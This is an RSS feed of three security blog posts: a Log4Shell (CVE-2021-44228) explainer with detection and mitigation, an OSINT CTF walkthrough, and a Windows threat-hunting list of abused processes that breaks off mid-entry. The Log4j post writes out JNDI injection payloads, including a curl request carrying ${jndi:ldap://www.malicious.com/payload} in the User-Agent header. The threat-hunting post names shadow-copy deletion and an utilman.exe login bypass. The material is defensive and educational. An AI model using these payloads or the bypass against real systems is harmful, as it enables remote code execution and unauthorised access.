<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Pratinav Chandra on Medium]]></title>
        <description><![CDATA[Stories by Pratinav Chandra on Medium]]></description>
        <link>https://medium.com/@inf0spec?source=rss-7d96a6db7c78------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*reGukJ57rhUYzbfLpFuyDg.png</url>
            <title>Stories by Pratinav Chandra on Medium</title>
            <link>https://medium.com/@inf0spec?source=rss-7d96a6db7c78------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 04 Dec 2026 09:20:28 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@inf0spec/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Log4j zero-day vulnerability : Exploitation, Detection & Mitigation]]></title>
            <link>https://infosecwriteups.com/log4j-zero-day-vulnerability-exploitation-detection-mitigation-9667908857b4?source=rss-7d96a6db7c78------2</link>
            <guid isPermaLink="false">https://medium.com/p/9667908857b4</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[java]]></category>
            <dc:creator><![CDATA[Pratinav Chandra]]></dc:creator>
            <pubDate>Wed, 15 Dec 2021 15:38:33 GMT</pubDate>
            <atom:updated>2021-12-15T15:38:33.892Z</atom:updated>
            <content:encoded><![CDATA[<h3>Log4j zero-day vulnerability : Exploitation, Detection &amp; Mitigation</h3><h4>CVE-2021-44228 : Log4Shell/Log4Jam</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ZDFi1CKZsqy_AR_8" /><figcaption>Photo by <a href="https://unsplash.com/@cbpsc1?utm_source=medium&amp;utm_medium=referral">Clint Patterson</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><h3>Overview</h3><p>You might have already heard about the zero-day vulnerability discovered in the Apache Log4j 2 Java library that has taken the internet by storm. In this writeup, I intend to discuss in-depth about this vulnerability and it’s impact, detection &amp; mitigation.</p><h4>What is Log4j?</h4><p>Log4j is a fast, reliable and flexible logging framework which is written in Java and is part of the Apache Logging Services. It is basically an open-source Java API used for logging, to track activity within an application.</p><h4>Log4j Architecture</h4><p>As per apache.org, “<em>Applications using the Log4j 2 API will request a Logger with a specific name from the LogManager. The LogManager will locate the appropriate LoggerContext and then obtain the Logger from it. LoggerConfig objects are created from Logger declarations in the configuration. The LoggerConfig is associated with the Appenders that actually deliver the LogEvents”</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/607/1*U146bqqObT4LLBhmoF8N4Q.jpeg" /><figcaption>Log4j Architecture [source: <a href="https://logging.apache.org/">https://logging.apache.org</a>]</figcaption></figure><h3>Exploitation</h3><p>Let’s take a look at how this vulnerability can be exploited. It’s quite simple to exploit which makes it even more dangerous and severe.</p><p>The vulnerability is a Remote Code Execution (RCE) as a result of improper input handling that can allow an attacker to gain complete access of the target system, without authentication. To understand the vulnerability, let’s take a simple Java code sample that utilizes Log4j.</p><pre><strong>import </strong>java.util.*;<strong><br>import</strong> org.apache.logging.log4j.Logger;<br><strong>import</strong> org.apache.logging.log4j.LogManager;<br><strong>public</strong> <strong>class</strong> poc{<br><strong>static</strong> Logger logger = LogManager.getLogger(poc.<strong>class</strong>);<br> <strong>public</strong> <strong>static</strong> <strong>void</strong> main(String args[]) {<br>  System.out.println(&quot;Enter your name:&quot;);<br>  Scanner sc = new Scanner(System.in);<br>  String name = sc.nextLine();<br>  logger.error(name);<br>  System.out.println(&quot;Hi &quot;+name);<br> }<br>}</pre><p>The above code snippet simply takes an input name from the user, logs the name as an error using log4j and prints it out.</p><p>Let’s take a look at a few sample outputs -</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gh8Ckg5DmT4KHkIgxnrjJg.png" /><figcaption>User enters “Bob” and it simply gets logged and echoed out</figcaption></figure><p>Log4j has a feature called “lookups” to fetch and add certain values to the log4j configuration based on specified arguments within the lookup enclosed in ${}. <br>They are of the form = ${java:os} Here, the Java OS version will be fetched and added as a value.</p><p>This can be easily abused by an attacker as there is no input validation and the user completely controls the string that gets logged by log4j. An attacker can simply enter lookups to extract information from the server side and even to execute commands. Let’s take a look at another user input to the sample code we saw above -</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rVlgLOa5rLFcvAqc-0VlNA.png" /><figcaption>Entering a lookup, replaces and logs the corresponding value</figcaption></figure><p>Here, the string ${env:USER} is used to extract the USER environment variable on the server and it gets displayed in our output as Log4j uses the lookup to parse and fetch that value. Now that we have a basic understanding of how the exploit works, let’s amp up the impact and look at remote lookups!</p><p>Log4j has another functionality called <strong>Java Naming and Directory Interface (JNDI) </strong>that basically provides directory services to an application and can be used to get data from a remote server and supports protocols such as LDAP, RMI etc. For example using a remote lookup to communicate with an LDAP server can be achieved by using: <strong>${jndi:ldap://&lt;server-ip&gt;/context-name}</strong></p><p>This functionality can be abused by attackers for Remote Code Execution. For example, by adding a remote lookup like this will make Log4j reach out to a remote server of the attacker’s choice to extract data: <strong>${jndi:ldap://www.malicious.com/payload}</strong></p><p>Attackers need to simply get the vulnerable application using Log4j, to log a jndi lookup entered as a user input and host a malicious server to deliver the payload. This can be done by attacking commonly logged fields in web requests such as the User-Agent headers and embedding jndi payloads in them. A sample curl request that embeds the payload in the User-Agent header would look like this :</p><pre>curl -H &quot;User-Agent: ${jndi:ldap://www.malicious.com/payload}&quot; target.com</pre><p>When the User-Agent, with the embedded remote lookup gets logged on the target server, and Log4j parses the payload, a request will be sent to fetch data from the LDAP server specified through jndi. This enables an attacker to host a server with an LDAP referrer that forwards the request coming in to LDAP, to another HTTP server that handles the request and responds back to the target server with a payload to obtain a shell on the target application’s backend server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*xSAKqFtKXhNiCRG0ANp46w.png" /><figcaption>Exploit Workflow</figcaption></figure><p>The following <a href="https://github.com/mbechler/marshalsec"><strong>repo</strong></a> by <em>mbechler</em> offers a Java implementation to setup an LDAP referrer to test out this exploit.</p><p><strong>A POC for the exploit can be found here</strong>: <a href="https://github.com/xiajun325/apache-log4j-rce-poc">https://github.com/xiajun325/apache-log4j-rce-poc</a></p><h3>Impact</h3><p><strong>Affected Log4j versions</strong>: version 2.0 to version 2.14.1 inclusive.<br>There are millions of applications that utilize Java which makes for a large attack surface. Many large software companies and online services use the Log4j library for logging, including Amazon, Apple, Cisco, Cloudflare, ElasticSearch, Red Hat, Steam, Tesla, Twitter, and many more. A list of verified attack surfaces vulnerable to Log4Shell can also be found <a href="https://github.com/YfryTchsGD/Log4jAttackSurface"><strong><em>here</em></strong></a>. What makes this difficult to patch and challenging to detect is the fact that this can be present in multiple dependencies and third party services used within applications. Various companies and organizations will have to work together to patch their individual applications to ensure that all dependencies involved are covered and properly patched to address this vulnerability.</p><h3>Detection</h3><p>Many great detection tools and rules have been built and shared online by various security researchers and organizations, that can help us to detect Log4Shell in our applications. Let’s take a look at some of them -</p><p><strong>Huntress Labs log4shell tester</strong> — <a href="https://log4shell.huntress.com/">https://log4shell.huntress.com</a><br>This tester provides a payload with a unique identifier and accepts LDAP connections from vulnerable apps and displays the IP address from which it recieved connections. The sample code we discussed above can also be used to test this out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CWMMpvpaAFvFD_gClVqtRA.png" /></figure><p><strong>Log4Shell Detector by Florian Roth </strong>— <a href="https://github.com/Neo23x0/log4shell-detector">https://github.com/Neo23x0/log4shell-detector</a><br>This is an automated python script created by Florian Roth to detect Log4Shell by matching jndi payloads. The script basically parses logs and a detection is triggered if all characters in the below string is matched in any order. The script also takes into account various forms of URL based encodings: ${jndi:ldap:</p><p><strong>Yara Rules by Florian Roth — </strong><a href="https://github.com/Neo23x0/signature-base/blob/master/yara/expl_log4j_cve_2021_44228.yar">https://github.com/Neo23x0/signature-base/blob/master/yara/expl_log4j_cve_2021_44228.yar</a><br>Yara rules that match commonly observed payload strings and patterns found in the wild.</p><p><strong>Log4Shell command line tool by LunaSec</strong> — <a href="https://github.com/lunasec-io/lunasec/releases/">https://github.com/lunasec-io/lunasec/releases</a>/<br>LunaSec have also built a command line utility that checks for <strong>.jar</strong> and <strong>.war</strong> files in project directories and checks if they are vulnerable by matching hashes of known vulnerable log4j classes. A list of hashes can be found <a href="https://github.com/mubix/CVE-2021-44228-Log4Shell-Hashes"><strong><em>here</em></strong></a>.</p><p><strong>Log4Shell Scanner Burp Suite Plugin — </strong>Burp Suite also has a plugin for it’s Pro edition to scan for Log4Shell. I haven’t personally used it but you can give it a try!</p><h3>Burp Suite on Twitter: &quot;You can now scan for Log4Shell (CVE-2021-44228) using Burp Suite Pro or Enterprise Edition by installing @SilentSignalHU&#39;s Log4Shell Scanner from the BApp Store.https://t.co/i9vYFidhlg pic.twitter.com/T9XZZbFuCt / Twitter&quot;</h3><p>You can now scan for Log4Shell (CVE-2021-44228) using Burp Suite Pro or Enterprise Edition by installing @SilentSignalHU&#39;s Log4Shell Scanner from the BApp Store.https://t.co/i9vYFidhlg pic.twitter.com/T9XZZbFuCt</p><h3>Mitigation</h3><p>The best and most effective fix for this vulnerability would be to upgrade log4j dependencies to the latest version released by Apache, which is <strong>log4j 2.16.0</strong>.<strong> </strong>The latest version resolves the vulnerability and improves the overall security of log4j. It would also be a good idea to ensure that the running Java instances are up-to-date.</p><p>If an immediate patch is not possible, either of the below workarounds can be implemented for the time being while working towards patching —</p><ul><li>Message lookups can be disabled globally by setting the environment variable <strong>LOG4J_FORMAT_MSG_NO_LOOKUPS</strong> to <strong>true</strong></li><li>Lookups can also be disabled for a specific execution, by using the command-line flag <strong>‐Dlog4j2.formatMsgNoLookups=True</strong> when running the vulnerable Java application: <strong>java ‐Dlog4j2.formatMsgNoLookups=True -jar app.jar</strong></li><li>Another way would be to find and remove the <strong>JndiLookup</strong> class from any Java applications using log4j, so that jndi lookups cannot be triggered.</li></ul><p>If you would like to learn more about Log4Shell, check out John Hammond’s amazing video demonstration <a href="https://www.youtube.com/watch?v=7qoPDq41xhQ&amp;t=1187s"><strong><em>here</em></strong></a>. TryHackMe and John Hammond have also teamed up to create a room to explore the Log4j vulnerability <a href="https://tryhackme.com/room/solar"><strong><em>here</em></strong></a>.</p><p>Thank you for reading and happy hunting!🐞</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9667908857b4" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/log4j-zero-day-vulnerability-exploitation-detection-mitigation-9667908857b4">Log4j zero-day vulnerability : Exploitation, Detection &amp; Mitigation</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CyberDefenders Walkthrough : Intel101]]></title>
            <link>https://infosecwriteups.com/cyberdefenders-walkthrough-intel101-47dc943409a6?source=rss-7d96a6db7c78------2</link>
            <guid isPermaLink="false">https://medium.com/p/47dc943409a6</guid>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[osint]]></category>
            <dc:creator><![CDATA[Pratinav Chandra]]></dc:creator>
            <pubDate>Wed, 06 Oct 2021 12:37:50 GMT</pubDate>
            <atom:updated>2021-10-06T12:37:50.450Z</atom:updated>
            <content:encoded><![CDATA[<h3>CyberDefenders Walkthrough : Intel101</h3><h4>An OSINT CTF Challenge</h4><p>This write-up is a walkthrough of the Intel101 challenge by CyberDefenders. The challenge can be found <a href="https://www.cyberdefenders.org/labs/38"><strong>here</strong></a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*OT1Nyhdt_azaTjve" /><figcaption>Photo by <a href="https://unsplash.com/@markuswinkler?utm_source=medium&amp;utm_medium=referral">Markus Winkler</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><h4>Challenge Details:</h4><blockquote>“Open-source intelligence (OSINT) exercise to practice mining and analyzing public data to produce meaningful intel when investigating external threats.”</blockquote><p>Let’s dive straight into the questions and solve this challenge!</p><h4>Q1. Who is the Registrar for jameskainth.com?</h4><p>We can run a simple whois lookup to find the Registrar for the mentioned domain.</p><pre>whois jameskainth.com | grep Registrar:</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*-YKt_FfznyH1GekrFxx2kg.png" /><figcaption>whois lookup</figcaption></figure><p>As per the output, the Registrar for this domain is <strong>NameCheap </strong>which becomes our flag for this question.</p><h4>Q2. You get a phone call from this number: 855–707–7328, they were previously known by another name? (No spaces between words)</h4><p>By performing a direct google search for the mentioned phone number, we find the text “<em>On my Spectrum/Time Warner bill is this phone number to call if I have questions about my bills: (855–707–7328)”</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fe_vSYQGK2ApFo48oj5_zA.png" /><figcaption>Google search results for 855–707–7328</figcaption></figure><p>This indicates that this is a support helpline number for Spectrum/Time Warner. This also tells us that Spectrum/Time Warner are the same company as their names are being used interchangeably. Focusing on the second part of the question, we need to find what “<em>they were previously known”</em> as.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-7XTlockBejPBuNlp4ZChg.png" /></figure><p>Spectrum was previously known as Time Warner Cable so our flag for this question is <strong>timewarnercable</strong></p><h4>Q3. What is the Zoom meeting id of the British Prime Minister’s Cabinet Meeting?</h4><p>Searching for the keywords on Google, we come to know of an incident where the UK Prime Minister accidentally revealed the Zoom ID while conducting the first-ever digital cabinet meeting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*867z5bgnsIgljYVDitFOTQ.png" /></figure><p>Some news articles might also include a photo along with the leaked ID, however, to make this more interesting, we’ll be finding the exact place where this was leaked!</p><p>Knowing that famous personalities are often actively posting on Twitter, we can use Google dorks to find the actual Twitter post about the first-ever digital cabinet meeting on Boris Johnson’s official account.</p><pre>site:twitter.com intitle:Boris Johnson intext:digital cabinet</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZGn-SogO_yXYZJMLxlgiAw.png" /></figure><p>This leads us to the Twitter post about this digital cabinet meeting:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2u43h-jOlNBBc89WAuG1Zw.png" /><figcaption>Twitter Post</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/234/1*Xs6to2RdluHhRWbaFs4Afg.png" /><figcaption>Leaked ID in the top left corner</figcaption></figure><p>The Zoom ID is visible in the bar on the top left corner. Our flag for this challenge is <strong>539544323</strong></p><h4>Q4. What Percentage of full-time degree-seeking freshmen from the fall of 2018 re-enrolled to Champlain in the fall of 2019?</h4><p>We’ll start with a quick google search for the keywords in the question, to get some websites that contain student enrollment statistics.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_9fzIMngtivmmMS7OGm2PA.png" /></figure><p>After going through the first search result, we successfully find the retention rate for 2019 to be 82% however, as per our question format, we need a more accurate answer upto a decimal place. (At this point, we can simply try submitting 82.1 to 82.9 to see which one gets accepted, but we’ll dig deeper to find the answer through proper OSINT.)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JYrkIdAk2VcforhOGgdhpw.png" /><figcaption>datausa.io</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*th_Vz7DjFnr7iy2Y6p45Gw.png" /><figcaption>Search results</figcaption></figure><p>After going through some more search results that contain statistics, we don’t find anything of interest and most sites mention acceptance rates but not the retention rate. However, one of our search results, <em>ucan-network.org</em> contains some data that can be useful.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bnhHIb1wAa3fmpEeNfLYTQ.png" /><figcaption>ucan-network.org</figcaption></figure><p>Here, we notice a field <em>“Freshmen Returning for Sophomore Year”, </em>which is exactly what we need to find out but for Fall 2019. The current data on the website is for Fall 2020. For this task, we can utilize the <a href="https://archive.org/"><em>Wayback Machine</em></a>, which is a digital archive of the internet, containing historical snapshots of various websites. This can help us to view a snapshot containing old published data for Fall 2019.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BNuvy1eptfD1K6HNGNXZeQ.png" /><figcaption>Wayback machine search</figcaption></figure><p>Searching for this page on wayback machine we can see available snapshots at various times. Let’s try to find a version of the page that contains data for Fall 2019 starting from a snapshot in 2019.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7dJmTyWKCfS08RavuBJ86A.png" /><figcaption>Snapshots</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kEGroYI82Ve_6jW0uEG8Nw.png" /></figure><p>The page conatins data for 2018 so we need to look at more recent pages till we find 2019 data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H44JlTeJVeQtFQ8gHL6l9w.png" /><figcaption>Snapshot for March 7 2020 contains Fall 2019 data</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/1*DiMWFPJ5IlNrW027uS3nAw.png" /></figure><p>Scrolling down, we find the field we were looking for and our flag is <strong>82.5%</strong></p><h4>Q5. Champlain College Has A Public Excel Sheet Listing Addresses Of Campus Locations Available on The Internet, what’s the SHA256 hash of the excel file?</h4><p>First, we’ll find the official website of Champlain College through Google.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qx_qsel9n4g_647ifcS8Gg.png" /><figcaption>champlain.edu</figcaption></figure><p>Now, we can use Google dorks to search for all excel files that exist on <em>champlain.edu</em> using :</p><pre>inurl:champlain.edu file:xls</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w329BBrHUTXdo_v1IrOQ_Q.png" /></figure><p>We find an exposed excel file physical_addresses.xls, that contains addresses of various campus locations. To get our flag we need to provide the SHA256 hash of this file.</p><pre>openssl dgst -sha256 physical_addresses.xls</pre><h4>Output:</h4><p>Flag for this question-</p><p>SHA256(physical_addresses.xls)= <strong>c96ee03c4043c366c6f573bb1d194dec8f4c0c81150c60d310bc59d9e17a6906</strong></p><h4>Q6. In 1998 specifically on February 12th, Champlain was planning on adding an exciting new building to its campus. Back then, it was called “The Information Commons”. Can you find a picture of what the inside would look like? Upload the sha256 hash here.</h4><p>Since for this question, a very specific date is provided, we can infer that a mention of a new building would have been added to the college’s main website at that time in 1998. For this task, we can again use the <a href="https://archive.org/"><em>Wayback Machine</em></a><em> </em>to view old versions of the site and published data from 1998. First, let’s check if we have a snapshot of the Champlain website from that time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8GHWBsCJf_6h45fCs4H1Dg.png" /><figcaption>Wayback machine search</figcaption></figure><p>We can see that we do have snapshots dating back to 1998, even for the exact date mentioned in our question!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/570/1*2n24cCv30JhjAAdafU9_Fg.png" /><figcaption>Champlain Snapshot 1998</figcaption></figure><p>After loading the snapshot, we see a specific page link <em>“Information Commons Project” </em>which has<em> </em>a mention of this new building and also an image of what it would look like from the inside.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZjOpKavrLO1Ng3PA7u1xrg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yQWTxSfvJjhYErC3j5ltHg.png" /><figcaption><em>Information Commons Project</em></figcaption></figure><p>To get our flag we just need to download the image that represents the inside design of this building and get it’s SHA256 hash.</p><pre>openssl dgst -sha256 inside1.jpeg</pre><p>SHA256(inside1.jpeg)= <strong>f4952b314eb15acf0eec79c954f83881c17d50d2b5922ee37e8fc5e5cd1aeac2</strong></p><h4>Q7. One of Champlain College’s Cyber Security Faculty got a bachelor’s degree in arts from this Ohioan university. Who was the other faculty member who studied there? (FirstName LastName — two words)</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eUkpEQsZ-JmUfVOlkIl3NA.png" /><figcaption>Google - Champlain College Cyber Security Faculty</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bb8L1miOuUOhUngm_63xaA.png" /><figcaption>Official faculty list at champlain.edu</figcaption></figure><p>Going through the list of faculty, first we need to quickly scan each person’s education section and find a person with a bachelor’s degree in arts from a University in Ohio.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zDf7ECQxzJvx_iuaku0vAQ.png" /><figcaption>Person with a bachelor’s degree in arts from a University in Ohio</figcaption></figure><p>We can see that Joe Eastman got a Bachelor of Arts degree from University of Toledo which is located in Ohio.</p><p>Now we just need to scan the rest of the faculty to find out who else studied at the University of Toledo. We can use a Google dork here to make our search more effective.</p><pre>inurl:champlain.edu/academics/our-faculty intext:University of Toledo</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-2ZmC86oZDwAC0KaemJ4rw.png" /><figcaption>Google dork to find University of Toledo in the faculties page</figcaption></figure><p>We find Todd Schroeder from our Google search results and on confirming the bio page we can see that he is indeed part of the Cybersecurity faculty. Hence, our flag for this question is <strong>todd schroeder.</strong></p><h4>Q8. In 2019 UVM’s Ichthyology Class Had to Name their fish for class. Can you find out what the last person on the public roster named their fish?</h4><p>Searching on Google for the Ichthyology class at UVM, leads us to the university’s page :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JMm-EbgHYfpyeKReZd5lUw.png" /><figcaption>Google search</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EgAn5Ze2_Ivtjv20bTlJjA.png" /><figcaption>UVM program info page</figcaption></figure><p>On the Ichthyology class info page, there is a quick links section where we can see a link for Student fish names. The link downloads an xls file titled <em>studentfishnames2019.xls. </em>Going to the end of the list, we can see that the last student on the public roster named their fish — <strong>Saccopharyngiformes, </strong>which is our flag for this question.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*oTbUO0NTzGk9_ShziepqNw.png" /><figcaption><em>studentfishnames2019.xls</em></figcaption></figure><h4>Q9. Can You Figure Out Which State This Picture Has Been Taken From? See attached photo</h4><p>Below is the attached photo that is being referred to in the question:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WQsS9QovlPpRPcMFLMhOAg.png" /><figcaption>Challenge Image</figcaption></figure><p>Let’s run a reverse image search using this image. Google does not give us any concrete information regarding the image. It’s always a good idea to search for the image on multiple search engines such as Bing, Yandex etc.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H97y7oaFbF-2AEFTphmHFA.png" /><figcaption>Google reverse image search</figcaption></figure><p>Bing search comes up with interesting results that can be useful.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7F17IjTKNN7dPYwv5_etzQ.png" /><figcaption>Bing reverse image search</figcaption></figure><p>The first result is the exact image and points to a Youtube channel with this image as the profile picture. The about section and the video content do not give much information apart from a hint that some videos are shot in Nepal, based on the video titles. Trying a few states from Nepal does not lead to the right answer and this is a rabbit hole.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*af-kJ_JsmTlHGSjVAZpfvA.png" /></figure><p>Moving on to one more interesting result on Bing :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/402/1*6tvSYfVnQO2tzYKScD3p6Q.png" /><figcaption>Bing image search result</figcaption></figure><p>This image looks like our challenge image taken from a different angle and points us to <em>Dinosaur Land, </em>a theme park in Virginia as per Google<em>.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/830/1*1p9bzFCEgaoeZIyEm5yQLA.png" /><figcaption>Google — Dinosaur Land</figcaption></figure><p>This concludes our challenge and our final flag is <strong>virginia</strong>!</p><h4>Thanks for reading :)</h4><h4>I hope this walkthrough was interesting!</h4><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=47dc943409a6" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/cyberdefenders-walkthrough-intel101-47dc943409a6">CyberDefenders Walkthrough : Intel101</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Windows Threat Hunting : Processes of Interest (Part 2)]]></title>
            <link>https://infosecwriteups.com/windows-threat-hunting-processes-of-interest-part-2-b45d6fcd4e9?source=rss-7d96a6db7c78------2</link>
            <guid isPermaLink="false">https://medium.com/p/b45d6fcd4e9</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[tech]]></category>
            <dc:creator><![CDATA[Pratinav Chandra]]></dc:creator>
            <pubDate>Mon, 27 Sep 2021 06:42:27 GMT</pubDate>
            <atom:updated>2021-10-11T04:59:29.515Z</atom:updated>
            <content:encoded><![CDATA[<h3>Windows Threat Hunting : Processes of Interest (Part 2)</h3><h4>A list of common Windows processes and how they can be used maliciously by hackers</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oBrhQK9GA3-W86qmeGcQYg.jpeg" /><figcaption>(Source: <a href="https://www.google.co.in/url?sa=i&amp;url=https%3A%2F%2Fwww.pinterest.com%2Fpin%2F516647388497512938%2F&amp;psig=AOvVaw1zSt8fwysjPo-IOj3uVsV_&amp;ust=1632730140732000&amp;source=images&amp;cd=vfe&amp;ved=0CAsQjRxqFwoTCMj42vSXnPMCFQAAAAAdAAAAABAz">1920 × 1080</a>)</figcaption></figure><p>We will be continuing our list of processes from <a href="https://inf0spec.medium.com/windows-threat-hunting-processes-of-interest-4577fe35d32f"><strong><em>Part 1</em></strong></a> and discuss about a few more legitimate Windows processes and their malicious use cases along with some alternatives and processes that can aid in reconnaissance.</p><h4><a href="https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/vssadmin">vssadmin</a></h4><p>vssadmin is a built-in Windows utility that is used to manage volume shadow copies of the stored files on a machine. These shadow copies are used as backups that can be helpful to restore damaged or corrupted files in case of data loss. Ransomware attacks, aim to hijack access to data and files on a system by encrypting them and then asking for a ransom to release control over the data. Having up to date backups of files and data, hampers the attackers objectives as the data can be easily recovered. This is why, during ransomware campaigns, attackers attempt to delete these backups and shadow copies using vssadmin so that their victims can’t restore the files.</p><p><strong>Detection Methods: </strong>Monitoring for shadow copy delete commands such as vssadmin delete shadows can be useful in detecting ransomware attacks.</p><h4><a href="https://docs.microsoft.com/en-us/sysinternals/downloads/psexec">psexec</a></h4><p><em>psexec</em> is a standalone Windows utility that allows execution of processes on remote systems and provides interactive access to programs on remote hosts. Adversaries often abuse <em>psexec</em> for lateral movement within a network and to execute commands on other machines on the network. Below is an example usage of <em>psexec.</em></p><pre>psexec \\192.168.0.26 ipconfig /all <em>(Run command on remote host)</em></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lKNokjEWvFMQHRfKrZa97Q.png" /><figcaption>Workflow — Launching a psexec service (Source: <a href="https://assets.extrahop.com/images/blogart/psexec/workflow-launching-psexec.jpg">workflow-launching-psexec</a>)</figcaption></figure><p><strong>Detection Methods: </strong>Monitoring Sysmon events and System logs for remote service creation — psexesvc event (code: 7045)</p><h4><a href="https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks">schtasks</a> and <a href="https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/at">at</a></h4><p><em>schtasks</em> and <em>at</em> are Windows command line utilities that are used to create and manage scheduled tasks on Windows systems. Adversaries can use scheduled tasks for persistence and can maintain access by execution of scheduled tasks. Task schedulers also allow the ability to create tasks under a specific user context and can be used for privilege escalation. Scheduled tasks are an integral part of the Windows operating system and can’t be turned off or blocked. Due to this reason, malicious tasks can often blend in with a variety of other legitimate scheduled tasks that are necessary.</p><p><strong>Detection Methods: </strong>Monitoring the creation, modification, deletion, and use of scheduled tasks through Windows event logs. <em>PowerShell Get-ScheduledTask</em> can be used to collect and inspect a list of scheduled tasks from multiple remote hosts using PS remoting.</p><h4><a href="https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmic">wmic</a></h4><p><em>wmic</em> stands for Windows Management Instrumentation Command and provides a command-line interface for WMI, which is used for the management of local as well as remote Windows machines. It’s functions include displaying system settings, controlling processes and executing scripts. It can be used to extract information about computers and also to make configuration changes. It’s features can be abused by threat actors for lateral movement, discovery and persistence.</p><p><strong>Detection Methods: </strong>Monitoring the WMI activity log (Event ID 5861)</p><h4>utilman</h4><p><em>utilman.exe</em> is launched when the “Ease of Access” button on the login screen is clicked. By default, utilman is executed with complete admin rights. This can be abused by an attacker, by replacing the utilman.exe executable with cmd.exe in the System32 folder which will allow the attacker to launch <em>cmd</em> with admin rights simply by clicking the Ease of Access button on the lock screen. With this access, passwords can be changed, new users can be created and given admin rights etc. This poses a serious threat to Windows systems and allows authentication bypass. You can watch an <a href="https://www.eventsentry.com/videos/Final.mp4"><strong>Attack 